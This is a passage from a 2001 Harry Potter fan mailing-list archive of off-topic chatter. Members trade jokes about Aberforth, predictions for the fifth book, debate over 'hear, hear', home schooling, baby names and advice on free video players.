small, very blurry computer TV picture which means there's a lot of 
information missing so things kinda jerk about a bit.  The commentary isn't 
bad, though.

Catherine in CA



From Aberforths_Goat at Yahoo.com  Sun Sep 23 07:03:00 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Sun, 23 Sep 2001 09:03:00 +0200
Subject: [HPFGU-OTChatter] Re: New baby Aberforth
References: <9oitqo+9qmm@eGroups.com>
Message-ID: <007901c143fd$c82aa770$e500a8c0@shasta>

> > Obviously, Aberforth. It shortens to "Abe," which rhymes with Babe.
>
> I thought Aberforth began with a short A, therefore shortens to
> Ab, which rhymes with Fab.

Not to mention his nickname: "Six-Pack Ab."

> > more: Jiggle the letters on a warm day and you've got "bear froth,"
>
> A euphemism for Bear Whizz Beer, as invented by Firesign
> Theater?

Hm. Bear Froth ... Beer Froth. <sigh> I guess Amanda's right: it is time I
stopped snacking on Farmer Gray's hemp plants.

Grrrrrrr!

Aberforth's Goat (a.k.a. Mike Gray, who is trying to nap in that nice cool
barn, but keeps waking up from a frightening dream in which he is chased
around his pen by a frothing bear sporting oversized sunglasses, sideburns,
bell bottoms and a tangerine, tie-dyed t-shirt.)
_______________________

"Far out, man!"




From find_sam at hotmail.com  Sun Sep 23 07:22:54 2001
From: find_sam at hotmail.com (Sam Brown)
Date: Sun, 23 Sep 2001 07:22:54 -0000
Subject: OoP Prediction Derby
In-Reply-To: <9odf4u+6mck@eGroups.com>
Message-ID: <9ok2ke+pviu@eGroups.com>

> 1.  What new magical place will we visit?
Another dimension/alternate plane of existence/parallel universe only 
accessible to wizards, probably via the infamous 'secret' room of 
Hogwarts. My theories don't extend as to what the dimension etc does.

> 2.  Are any of the Dursleys wizards?  Who?
Dudley is my most likely candidate, but Petunia is a close second.

> 3.  Identify the next DADA teacher.
Professor Grubbly-Plank!

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if so, who?
I hate to say this, but my best guess is Lupin. Or Hagrid. But put me 
down for Lupin ;)
  
> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have roles in OoP?
Lupin, Sirius and Dobby will all have roles; I'd say that JKR will 
save up Krum and Fleur for later books.

> 6.  At the end of OoP, will Dumbledore be the headmaster?
Yes.

> 7.  At the end of OoP, will Fudge be the Minister of Magic?
Yes.

> 8.  At the end of OoP, will Neville be the same forgetful boy, or 
> will he have changed in some way?
Neville will remain the same forgetful boy, although in Harry's eyes 
he may change, if Neville publicly reveals his secret.

> 9.  At the end of OoP, will Sirius have cleared his name?
No.

> 10.  Will Harry and Voldemort have a confrontation?
Yes.

> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.
The Marauder's Map, portkeys and floo powder are all the most likely 
magical objects for OoP.

> 12.  Will there be Quiddich?  If so, who will be the Gryffindor 
> Keeper?  Gryffindor Captain?
There will be Quidditch, and we'll be seeing some new players... 
Harry won't be the captain, by the way.

> 13.  Will anyone else turn out to be an animagus?  Who?
No.

> 14.  Who is Mundungus Fletcher?
Arabella Figg's estranged husband.

> 15.  Will Wormtail use his silver hand in an important way?
No.

As for my real prediction... I think we'll find out something 
unexpected surrounding Lily's past. It's her turn, after all ;)

Sam




From aiz24 at hotmail.com  Sun Sep 23 09:31:50 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sun, 23 Sep 2001 09:31:50 -0000
Subject: if you wish to be wished a Happy Birthday.. .
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D4C@MIAEXCH1>
Message-ID: <9oka66+jl0j@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:
> Hey, amy, why didn't Tom Felton get a birthday greeting today?

Because Your Friendly Neighborhood Birthday Elf, although happy to 
celebrate both fans and characters (and of course the Creator), draws 
the line at actors associated with HP.  If you think I'm slaving 
in a hot kitchen making eclairs for every little urchin who struts and 
frets upon the stage, you've got another think coming.

I did read the new fics though!

;-)
Amy




From heidit at netbox.com  Sun Sep 23 11:25:34 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Sun, 23 Sep 2001 07:25:34 -0400
Subject: [HPFGU-OTChatter] Re: if you wish to be wished a Happy Birthd
	ay.. .
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D4F@MIAEXCH1>

: gets picky...
But we commemorate daniel radcliffe's birthday.
I mean, given that it's july 31 and all...
Oh. Wait. 
Erm.

-----Original Message-----
From: Amy Z <aiz24 at hotmail.com>
To: HPFGU-OTChatter at yahoogroups.com <HPFGU-OTChatter at yahoogroups.com>
Sent: Sun Sep 23 05:31:50 2001
Subject: [HPFGU-OTChatter] Re: if you wish to be wished a Happy Birthday.. .

Real-To: "Amy Z" 
--- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:
> Hey, amy, why didn't Tom Felton get a birthday greeting today?

Because Your Friendly Neighborhood Birthday Elf, although happy to 
celebrate both fans and characters (and of course the Creator), draws 
the line at actors associated with HP.  If you think I'm slaving 
in a hot kitchen making eclairs for every little urchin who struts and 
frets upon the stage, you've got another think coming.

I did read the new fics though!

;-)
Amy



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From neilward at dircon.co.uk  Sun Sep 23 12:09:57 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sun, 23 Sep 2001 13:09:57 +0100
Subject: Movie: The Weasley Twins' website
Message-ID: <007701c14428$aa2f6d20$613670c2@c5s910j>

It's funny.  For ages, we knew absolutely nothing about the twins playing
Fred and George Weasley.  Now we have a little too much information,
courtesy of their website at http://www.james-phelps.com/ (picked this up
from The Leaky Cauldron)

It seems that James Phelps is something of a computer whizzkid, and the site
is really flashy in terms of its design and functions - very impressive in a
rather aimless way.

There are quite a few face-pulling pictures on the site that suggest that
these two will be hilarious as the twins.  They look nothing like the morose
pair in that Annie Liebowitz VF photo.  It's also feasible that they could
be brothers of Rupert Grint.  Something that worried me is that we'd see an
assortment of redheaded children playing the Weasley kids, but with no
physical resemblance beyond the red hair.

There is a diary on the site, but they make it clear they won't be giving
away any juicy secrets from the movie.  Still, they're bound to let
*something* slip, surely...?  :-)

Neil




From aiz24 at hotmail.com  Sun Sep 23 12:15:57 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sun, 23 Sep 2001 12:15:57 -0000
Subject: if you wish to be wished a Happy Birthd ay.. .
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D4F@MIAEXCH1>
Message-ID: <9okjpt+njqg@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:
> : gets picky...
> But we commemorate daniel radcliffe's birthday.
> I mean, given that it's july 31 and all...
> Oh. Wait. 
> Erm.

Heidi, I'll be happy to write you a reality check, even though my own 
balance is getting pretty low.

<bg>
Amy




From dfrankiswork at netscape.net  Sun Sep 23 15:49:11 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Sun, 23 Sep 2001 15:49:11 -0000
Subject: mixed up Aberforth
In-Reply-To: <003001c14395$5f21c000$e500a8c0@shasta>
Message-ID: <9ol09n+sq1n@eGroups.com>

Aberforth's Goat wrote:
> Jiggle the letters on a warm day and you've got "bear froth," which
> is, by all accounts, a highly desirable substance in the British 
isles.

For breath
Fear broth
Rob the RAF
fare throb

...it's a good job he can't read

David




From hamster8 at hotmail.com  Sun Sep 23 18:29:01 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Sun, 23 Sep 2001 18:29:01 -0000
Subject: Tonight's chat ...
Message-ID: <9ol9ld+h8oi@eGroups.com>

Is in the normal room, HP:1 on Cheeta, which if I recall rightly, is 
the normal room at the group's main page.  Um, there've been a few 
teething problems tonight, so if anybody's having trouble, you need 
to message al_ffn, or try to join me in chat, or something.  We'll 
try and get you in anyway.

Al




From meboriqua at aol.com  Sun Sep 23 20:44:36 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sun, 23 Sep 2001 20:44:36 -0000
Subject: Here Hear Here Hear and Other Expressions
Message-ID: <9olhjk+tiof@eGroups.com>

I was so relieved that Catherine said at the main site that she, too 
gets confused with that expression and I felt even better when Penny 
said she also had the same problem.  Now what is the right expression?  
It actually works both ways for me -

*Hear, Hear! (listen to me!)
*Here, Here! (over here!)

Are there any other expressions we tend to get wrong or be confused 
by?  Amy Z just posted to Heidi that she "had another think coming" - 
I always thought it was 'thing' but 'think' makes sense.  How else am 
I moron?

--jenny from ravenclaw, who thought the song "Day By Day" was really 
"Dave By Dave" when she was a little girl and didn't know for many 
years that her great Aunt Danny was really Aunt Annie 
************************************************************




From dfrankiswork at netscape.net  Mon Sep 24 08:06:35 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Mon, 24 Sep 2001 08:06:35 -0000
Subject: Here Hear Here Hear and Other Expressions
In-Reply-To: <9olhjk+tiof@eGroups.com>
Message-ID: <9ompib+drj8@eGroups.com>

Smarty Jenny wrote:
> I was so relieved that Catherine said at the main site that she, 
too 
> gets confused with that expression and I felt even better when 
Penny 
> said she also had the same problem.  Now what is the right 
expression?  
> It actually works both ways for me -
> 
> *Hear, Hear! (listen to me!)
> *Here, Here! (over here!)
> 
> Are there any other expressions we tend to get wrong or be confused 
> by?  Amy Z just posted to Heidi that she "had another think 
coming" - 
> I always thought it was 'thing' but 'think' makes sense.  

I am about 5 digests behind on the main list but... it's Hear, Hear, 
meaning 'Listen to that! (which another person has spoken)'.  And it 
is think.

I associate Hear, Hear with Parliament and the Pickwick Club, but 
doubtless it has long and complicated antecedents.

I also think there are lots of expressions of this type that are 
likely to confuse, but I can't think of any at the moment.

David




From jaffa276 at yahoo.co.uk  Mon Sep 24 09:29:15 2001
From: jaffa276 at yahoo.co.uk (Benjamin)
Date: Mon, 24 Sep 2001 09:29:15 -0000
Subject: Here Hear Here Hear and Other Expressions
In-Reply-To: <9ompib+drj8@eGroups.com>
Message-ID: <9omudb+f691@eGroups.com>


> David wrote:
> I associate Hear, Hear with Parliament and the Pickwick Club, but 
> doubtless it has long and complicated antecedents.
> 

I always thought it was "here, here" as in, "Me, here, I agree with 
that, look at me" not only you agree with what the guy has said but, 
more importantly (for parliment at least) you will stand up and put 
your name to that opinion (and scream 'here, here' and jump up and 
down waving your hands frantically, to make sure that you are 
counted.  I'm sure that's what happens in Whitehall, anyway)

"Opposition laughter and government cries of shame!"
"They didn't actually cry 'shame!'"
"Quite so, Minister"

-Ben.


> I also think there are lots of expressions of this type that are 
> likely to confuse, but I can't think of any at the moment.

Gordon Bennett, for one.





From klaatu at primenet.com  Mon Sep 24 16:36:20 2001
From: klaatu at primenet.com (Sister Mary Lunatic)
Date: Mon, 24 Sep 2001 09:36:20 -0700
Subject: [HPFGU-OTChatter] Re: Here Hear Here Hear and Other Expressions
In-Reply-To: <9omudb+f691@eGroups.com>
Message-ID: <MABBJPGEHBDBAKHGIBPOOEMJEGAA.klaatu@primenet.com>

There's an expression I always see and hear misspoken (at least in my
opinion):

People say, "You can't have your cake and eat it too."

which should really be said as:

"You can't eat your cake and have it too."

The second way of saying it makes the meaning much more clear, in my mind.
It makes it plain that if you use up a possession, you no longer have
possession of it.


On a philosophical note, I'm always amused by the expression "saving
time" -- you can't really save time.  At the end of 24 hours, you've spent
all 24 hours... there's no carry-over into the next day or week or year.
It's only HOW you spend those 1,440 minutes a day that matters.

SML




From cynthiaanncoe at home.com  Mon Sep 24 16:48:05 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 24 Sep 2001 16:48:05 -0000
Subject: Here Hear Here Hear and Other Expressions
In-Reply-To: <9omudb+f691@eGroups.com>
Message-ID: <9ono45+if0p@eGroups.com>

--- In HPFGU-OTChatter at y..., "Benjamin" <jaffa276 at y...> wrote:
> 
> > David wrote:
> > I associate Hear, Hear with Parliament and the Pickwick Club, but 
> > doubtless it has long and complicated antecedents.
> > 
> 
Ben wrote:

 I always thought it was "here, here" as in, "Me, here, I agree with 
> that, look at me" not only you agree with what the guy has said 
but, 
> more importantly (for parliment at least) you will stand up and put 
> your name to that opinion (and scream 'here, here' and jump up and 
> down waving your hands frantically, to make sure that you are 
> counted.  I'm sure that's what happens in Whitehall, anyway)
> 


I always thought it was "Hear, Hear", too.  Is it "Hear ye, hear ye" 
in Parliament?  If so, that suggests that "Hear, here" is correct.  
But then again, I really have no idea.

Another phrase that gets mutilated a lot is "I could care less," when 
the person really means "I couldn't care less."

Cindy (who is pleased that one can get pretty far in life without 
using cliched expressions)




From dfrankiswork at netscape.net  Mon Sep 24 16:50:34 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Mon, 24 Sep 2001 16:50:34 -0000
Subject: Home Schooling
Message-ID: <9ono8q+9jik@eGroups.com>

I'm intrigued by the references on the main list to JKR saying that 
children of wizard families are home schooled until Hogwarts time 
(main list question: what happens to Squibs?).  Is this confirmed?

Based on not very much information, I would say that the home-
schooling movement is much more advanced in the US than it is here in 
the UK.  For people to home-school their children is I think pretty 
unusual here - those that I have met have mostly been fairly special 
circumstances.  A lot of the materials used are American (which is 
partly why I think there is more happening in the States).

People here are often mildly hostile to home schooling on the grounds 
that it removes children from important social contact.  In a UK 
context the fact that wizarding folks avoid contact as much as 
possible with Muggles would make them seem pretty much home-schooling 
types, i.e. afraid to expose their children to the 'real world'.

David




From pennylin at swbell.net  Mon Sep 24 20:10:25 2001
From: pennylin at swbell.net (Penny Linsenmayer)
Date: Mon, 24 Sep 2001 20:10:25 -0000
Subject: I'm Back & Baby Names
In-Reply-To: <9og682+v0mc@eGroups.com>
Message-ID: <9oo3vh+u720@eGroups.com>

Hi everyone --

I'm going to try & do a better job of catching up with this group, as
I do think it's lots of fun.  I had to take a breather while Elizabeth
was newbie & while we were living at my in-laws, but I'll try to check
in here more often.

> LOL!  When I first read your post, Al, I thought you meant the
> name "Harry."  Then I saw that Heidi had also posted, and since her
> little one is Harry, I thought she had the same idea, but I see now
> that you both are thinking of "Draco."  I wonder whether schools
> around the world are soon going to be filled with little Harrys,
> Dracos and Hermiones...

I don't know about Draco (sorry, Heidi!), but I expect there to be an
upsurge in little Harrys.  Hermione?  Hmm... as much as I *love*
Hermione, I couldn't bring myself to even argue for it.  Hoping JKR
will reveal Hermione's middle name in a chat and it will be a nice
name I can sell my husband on ... if we should have another girl that
is.  Hey, maybe her middle name is Elizabeth!

My husband is *very, very* sad that his father's middle name is Harry
(and it was the first name of his great-grandfather & great-uncle),
and I've already extracted a promise on that one if we should have a
boy.

Penny
(whose baby has just woken up ... 45 minutes earlier than expected
....aaaargggh!)




From mat at hooper11.freeserve.co.uk  Mon Sep 24 20:16:55 2001
From: mat at hooper11.freeserve.co.uk (Martin Hooper)
Date: Mon, 24 Sep 2001 21:16:55 +0100
Subject: HArry Potter Movie Walls
Message-ID: <5.1.0.14.0.20010924211613.009ff8c0@pop.freeserve.net>

Dont know if you've seen them but I have uploaded some HP Movie wallpapers...

http://groups.yahoo.com/group/HPforGrownups/files/Wallpapers%20by%20Nio/


Martin Hooper
AIM: martinjh99 ICQ: 43933602
http://www.crosswinds.net/~martinjh99/


[Non-text portions of this message have been removed]




From pennylin at swbell.net  Mon Sep 24 20:20:06 2001
From: pennylin at swbell.net (Penny Linsenmayer)
Date: Mon, 24 Sep 2001 20:20:06 -0000
Subject: Here Hear Here Hear and Other Expressions
In-Reply-To: <9olhjk+tiof@eGroups.com>
Message-ID: <9oo4hm+ch0k@eGroups.com>

Hi again

Elizabeth has gone back to slumberland ... <snooze, snooze>

--- In HPFGU-OTChatter at y..., meboriqua at a... wrote:
> I was so relieved that Catherine said at the main site that she, too
> gets confused with that expression and I felt even better when Penny
> said she also had the same problem.  Now what is the right expression?
> It actually works both ways for me -
>
> *Hear, Hear! (listen to me!)
> *Here, Here! (over here!)

Searching google, I found the following & have no idea if it's factual
or not:

<<<The phrase is "Hear! Hear!" and grew out of people shouting their
approval of statements in public speeches: as in "I hear you!".. hence
"Hear! Hear!" >>>

It seems there *might* be a growing consensus for Hear! Hear!

Penny





From pennylin at swbell.net  Mon Sep 24 20:23:37 2001
From: pennylin at swbell.net (Penny Linsenmayer)
Date: Mon, 24 Sep 2001 20:23:37 -0000
Subject: A Techie Question 
Message-ID: <9oo4o9+ujmb@eGroups.com>

Hi --

My new computer seems to be without Real Player, QuickTime or the
equivalent.  Questions for those in the know:

(1) Should I download one of these from a website?  Are they free?
Or, is it something you download a free version but are expected to
later purchase a real version?

(2) Which one is best?  I'd be using it primarily for viewing HP
trailers & such I guess (seeing as how I haven't missed this before).
 I had Quicktime on my other computer, which I downloaded, but I'm not
sure if I should have *bought* a more complete version.

Confused.

Baby crying again.  Sigh.

Bye!

Penny




From dfrankiswork at netscape.net  Mon Sep 24 20:28:59 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Mon, 24 Sep 2001 20:28:59 -0000
Subject: Here Hear Here Hear and Other Expressions
In-Reply-To: <9omudb+f691@eGroups.com>
Message-ID: <9oo52b+vjgd@eGroups.com>

I looked it up in the dictionary.  It is Hear!, Hear!.

Since I had the dictionary out, I also looked up braggart: one who 
boasts about their achievements or possessions.

Which demonstrates a sort of Newton's third law: for every authority 
there is an equal and opposite authority.

David




From mat at hooper11.freeserve.co.uk  Mon Sep 24 20:35:34 2001
From: mat at hooper11.freeserve.co.uk (Martin Hooper)
Date: Mon, 24 Sep 2001 21:35:34 +0100
Subject: [HPFGU-OTChatter] A Techie Question
In-Reply-To: <9oo4o9+ujmb@eGroups.com>
Message-ID: <5.1.0.14.0.20010924213140.00a0e3e0@pop.freeserve.net>

At 24/09/01 20:23, you wrote:
>(1) Should I download one of these from a website?  Are they free?
>Or, is it something you download a free version but are expected to
>later purchase a real version?

Hi Penny - Congrats on the baby!!!  You can get away with using the free to download versions of all the software required.  Usually the pay versions have more features/facilities.

Quicktime is at www.apple.com/quicktime (I think!)  If not Im sure there is a link from www.apple.com
Realplayer is at www.real.com

>(2) Which one is best?  I'd be using it primarily for viewing HP
>trailers & such I guess (seeing as how I haven't missed this before).
> I had Quicktime on my other computer, which I downloaded, but I'm not
>sure if I should have *bought* a more complete version.

Depends on the format of the clip you are trying to download.  Personally I would install both.  I have Media Player from Microsoft(which is installed with Windows), Quicktime and Realplayer installed.

Hope that helps!


Martin Hooper
AIM: martinjh99 ICQ: 43933602
http://www.crosswinds.net/~martinjh99/


[Non-text portions of this message have been removed]




From jenP_97 at yahoo.com  Mon Sep 24 21:42:54 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Mon, 24 Sep 2001 21:42:54 -0000
Subject: A Techie Question
In-Reply-To: <5.1.0.14.0.20010924213140.00a0e3e0@pop.freeserve.net>
Message-ID: <9oo9cu+f658@eGroups.com>

Hey, Penny.  Glad to hear that Elizabeth went back to sleep. ;)  I'm 
having trouble getting Ginger to sleep at the moment - but then, 
she's a little over 2 1/2, so we have taken to calling it "quiet 
time" and making her play quietly in her room.

Anyway, to your question:

Like Martin previously said, both RealPlayer and Quicktime are free, 
and both have "pay" versions that have more bells and whistles.  
Occasionally, when you load one of the free ones up, it'll ask you if 
you want to "upgrade" to the full versions, but it's not necessary, 
even if it can get a little annoying.


Personally, I don't like RealPlayer.  The quality of the movies are 
quite bad, and I tend to have many problems with buffering and such - 
even though I have DSL and *really* good download speeds.  However, I 
must concede (sp?) that there are some clips that you just can't 
watch unless you have RealPlayer.

Quicktime is *wonderful* for downloading video clips.  Using a fairly 
ontopic example, I download the HP movie trailers in Quicktime, and 
the quality is always nearly perfect.  I've never had a buffering 
problem with them, and I've never had a mismatched picture/sound 
problem with Quicktime - but I have with both RealPlayer and Windows 
Media Player.

Hope this helps - I suppose that I would agree with Martin that both 
are useful, but I'm going to go one step further and express a 
preference for Quicktime... especially if you have limited space and 
can only do one at the moment.  Most clips tend to be available in 
Quicktime as Mac/Apple users are most likely to have a player for it.

Jen





From inviziblegirl at hotmail.com  Mon Sep 24 22:55:36 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Mon, 24 Sep 2001 18:55:36 -0400
Subject: Sacrifice...
Message-ID: <F50nlLEdnEPPwOIJYbL0000768a@hotmail.com>


>From: cynthiaanncoe at home.com
>
>Cindy (who would sacrifice Ginny AND Neville to save Sirius)

No! Not Neville! *sobs* Anyone but him. And Hermione. And Percy. And Ron. 
And Oliver...

Hey, how about NOBODY is sacrificed. Nobody else dies. Voldie discovers the 
errors of his ways, trades in the Death Eater robes and marks for tie-dye 
jeans, smiley t-shirts, and heart tattoos, and joins the rest of the 
HP-verse in singing "Kumbaya"?

*sigh* I can dream, can't I? And I grudgingly concede that the above 
scenario, while giving me a warm fuzzy feeling, would not make for the best 
read.

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Make me sad, make me mad, make me feel alright?"
- Serial Experiments Lain


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From Alyeskakc at aol.com  Tue Sep 25 03:44:35 2001
From: Alyeskakc at aol.com (Kristin)
Date: Tue, 25 Sep 2001 03:44:35 -0000
Subject: A Techie Question
In-Reply-To: <9oo4o9+ujmb@eGroups.com>
Message-ID: <9oouj3+kbe0@eGroups.com>

Hi Penny,

 I agree with Jen, Quicktime is much better than RealPlayer or 
Windows Media Player. Quicktime doesn't seem to have the buffering 
problems that RealPlayer or Windows Media Player have and the 
streaming quality is much better. On the downside it takes a little 
longer to download. However a lot of sites only use Quicktime now.

If you just type Quicktime in IE's address window it will take you 
directly to Quicktime's download page.

Cheers,

Kristin




From Alyeskakc at aol.com  Tue Sep 25 03:55:13 2001
From: Alyeskakc at aol.com (Kristin)
Date: Tue, 25 Sep 2001 03:55:13 -0000
Subject: LOTR Trailer
Message-ID: <9oov71+sdd5@eGroups.com>

Hi~ 

Did anyone see the premiere of Angel tonight?  Well if you did the WB 
premiered the trailer for LOTR. It looks like it's going to be a 
pretty cool movie. Something else to look foward to for the Christmas 
movie season.  Just thought you all might be interested.

Cheers,

 Kristin 




From aiz24 at hotmail.com  Tue Sep 25 08:01:54 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Tue, 25 Sep 2001 08:01:54 -0000
Subject: Home Schooling
In-Reply-To: <9ono8q+9jik@eGroups.com>
Message-ID: <9opdli+78ak@eGroups.com>

David wrote:
 
> People here are often mildly hostile to home schooling on the 
grounds 
> that it removes children from important social contact.  In a UK 
> context the fact that wizarding folks avoid contact as much as 
> possible with Muggles would make them seem pretty much 
home-schooling 
> types, i.e. afraid to expose their children to the 'real world'.

Wild neighing and stamping is heard as Amy's hobbyhorse rears up . . . 
whoa, down, boy!  Steady, there.

I'm a strong believer in hs-ing and plan to do it just as soon as I 
have some school-aged children around here (under the usual 
procedures, this takes several years to accomplish).  In my case, one 
of my reasons for wanting to hs my theoretical children is for them to 
have =more= contact with the 'real world.'  IMO, spending 6 hours a 
day with one's own age cohort and almost no adults or older and 
younger children, while very rewarding in its own way, lacks many of 
the benefits that come from spending those same hours engaging with 
members of the community of all ages, one's family, etc.  Also, while 
there isn't a lot of data on the subject, studies indicate that the 
socialization of hs-ed children is on a par with public- and 
private-schooled kids; in many ways hs-ed kids are more mature, 
well-adjusted, etc. etc.  The most common objection to hs-ing I have 
heard here is the one you raise, but I have my own thoughts on the 
socialization children receive in school and they are not generally 
complimentary.  There are lots of opportunities to learn to interact 
with others besides the schools.

The U.S. movement is very varied and makes for strange bedfellows.  A 
lot of hs-ers here are fundamentalist Christians who dislike the 
implicit (and sometimes explicit) secular teachings of the public 
schools.  Many people turn to hs-ing because their local schools are 
not up to their standard, or don't meet their kids' special needs 
(U.S. schools have to provide for kids with learning disabilities and 
such, but special education, as it's called here, varies drastically 
in quality from school to school, even from year to year).  Many have 
disagreements with the basic educational approach of the available 
schools, or simply find that it doesn't work well for the child in 
question.  Some hs for only a couple of years.  Some live far from 
the nearest school--e.g. my home state is very rural and many kids 
have to ride the bus for over an hour each way.  Some parents are 
indeed trying to keep tight control on their children's social 
interactions, and in some cases this control is downright abusive.  
But the hs-ing picture is much more complex than that.

All of that said, yes, hs-ing would be a natural option for a 
community that lives in secret from most of its neighbors.

Amy
who is hoping to offer broomstick-flying lessons to her children




From aiz24 at hotmail.com  Tue Sep 25 08:04:33 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Tue, 25 Sep 2001 08:04:33 -0000
Subject: I'm Back & Baby Names
In-Reply-To: <9oo3vh+u720@eGroups.com>
Message-ID: <9opdqh+bgfs@eGroups.com>

Penny wrote:
 
> My husband is *very, very* sad that his father's middle name is 
Harry
> (and it was the first name of his great-grandfather & great-uncle),
> and I've already extracted a promise on that one if we should have a
> boy.

Why sad?

Amy
who loves the name David but couldn't name a son that because it's her 
father's name and Jewish tradition dictates that it's the worst of 
luck to name a child for a still-living relative




From aiz24 at hotmail.com  Tue Sep 25 09:03:01 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Tue, 25 Sep 2001 09:03:01 -0000
Subject: Sacrifice...
In-Reply-To: <F50nlLEdnEPPwOIJYbL0000768a@hotmail.com>
Message-ID: <9oph85+d3ff@eGroups.com>

Amber proposed:
 
> Hey, how about NOBODY is sacrificed. Nobody else dies. Voldie 
discovers the 
> errors of his ways, trades in the Death Eater robes and marks for 
tie-dye 
> jeans, smiley t-shirts, and heart tattoos, and joins the rest of the 
> HP-verse in singing "Kumbaya"?

ROTFL!

:Voldemort, Crabbe, Goyle, Malfoy, Macnair, etc., each with an arm 
around the next, sway gently back and forth, singing:

Someone's crying, Lord, Kumbaya . . . 

Someone's screaming, Lord . . .

Someone's writhing, Lord . . .

Amy Z
really truly going back to bed now




From macloudt at yahoo.co.uk  Tue Sep 25 09:58:13 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Tue, 25 Sep 2001 09:58:13 -0000
Subject: Sacrifice...
In-Reply-To: <9oph85+d3ff@eGroups.com>
Message-ID: <9opkfl+234c@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> Amber proposed:
>  
> > Hey, how about NOBODY is sacrificed. Nobody else dies. Voldie 
> discovers the 
> > errors of his ways, trades in the Death Eater robes and marks for 
> tie-dye 
> > jeans, smiley t-shirts, and heart tattoos, and joins the rest of 
the 
> > HP-verse in singing "Kumbaya"?
> 
> ROTFL!
> 
> :Voldemort, Crabbe, Goyle, Malfoy, Macnair, etc., each with an arm 
> around the next, sway gently back and forth, singing:
> 
> Someone's crying, Lord, Kumbaya . . . 
> 
> Someone's screaming, Lord . . .
> 
> Someone's writhing, Lord . . .
> 
> Amy Z
> really truly going back to bed now

Just as long as they don't start going door to door with pamphlets 
and conversion attempts!  AAK!!!

Mary Ann
(who's going to hide in the understairs cupboard whenever the 
doorbell rings from now on...)




From tabouli at unite.com.au  Tue Sep 25 16:54:59 2001
From: tabouli at unite.com.au (Tabouli)
Date: Wed, 26 Sep 2001 02:54:59 +1000
Subject: Cliches, English mysteries, home schooling
Message-ID: <001801c145e2$e93562c0$c692aecb@price>

Cindy:
> (who is pleased that one can get pretty far in life without using cliched expressions)

Ahaaaaa!  (cries the resident cross-cultural Hermione).  But did you know that the notion that cliches are "bad" is particularly Anglophone??  I presume this is a reflection of our individualism and celebration of the original and personal (which we even protect by law with copyright, to the mystification of many other cultures).  In Greek and Japanese, for example, there are a lot of set phrases designed to be used in particular circumstances (e.g. a death in the family, marriage, etc.) which are considered entirely sensitive and appropriate, even if repeated endlessly in a way only "happy birthday" or "congratulations" are in English!  Whereas any English speaker who trotted about declaring "Time heals all ills" or "Better luck next time" more than once would get their neck wrung.

Interestingly, my Malaysian Chinese fundamentalist Christian mother is positively proverbial (perhaps ancestral memories of those 4 character Chinese sayings?).  Her habit of manipulating time-worn maxims and biblical quotes repeatedly into every conversation is alternately amusing and infuriating.  Among her favorites are "One man's meat is another man's poison", and "Spare the rod, spoil the child" which I found particularly worrying when I was younger...

David:
> I looked it up in the dictionary.  It is Hear!, Hear!.

Sigh of relief.  One of my Great Mysteries of the English Language solved at last.  Now if I can just figure out what the adjective for "integrity" is, whether "toward" and "towards" are interchangeable in the direction sense, the correct way to use the possessive "s" with names ending in S (Klaus'?  Klaus's?), and whether French words used in English still agree with their subject (e.g. blond man, blonde woman, blonds men, blondes women (?), nouveau/x/nouvelle/s rich/e/s)...

More David:
> People here are often mildly hostile to home schooling on the grounds 
that it removes children from important social contact.  

Ooo, another of my favorite subjects for speculation!  After my own experiences being a clever, half-Chinese child in an Australian lower middle class state primary school, I have long mused on how I might prevent any future children of mine enduring such a fate.  I got social contact at primary school, all right - other children chanting songs about Buddha and Ching Chong Chinaman and pulling their eyes slanty at me, telling me to go back to my own country, physically threatening me, socially excluding me, alternately exploiting and jeering at me for being "brainy"... mmmm, just what every child needs to develop social skills and good self-esteem.  I was utterly withdrawn and silent in primary school, and had very few friends.  On the other hand, outside school, playing with other children in my street (none of whom would go near me in school for fear of damaging their image), I was comparatively talkative and social.

I suppose times have changed a lot in Australia since then (these days it's the Muslim children who are getting teased and beaten up), but I am still very wary of the horrors the school environment can visit on children who don't fit in for one reason or another.  Where do you draw the line between wrapping them in cotton wool and thrusting them into the firing line?  It's all a bit premature, given that I have no children and do not look likely to have them in the near  to medium term future, but I have definitely mused on the possibilities of home schooling, what I'd teach and how, and so on.  When I met some people who *were* home schooled, I quizzed them extensively!

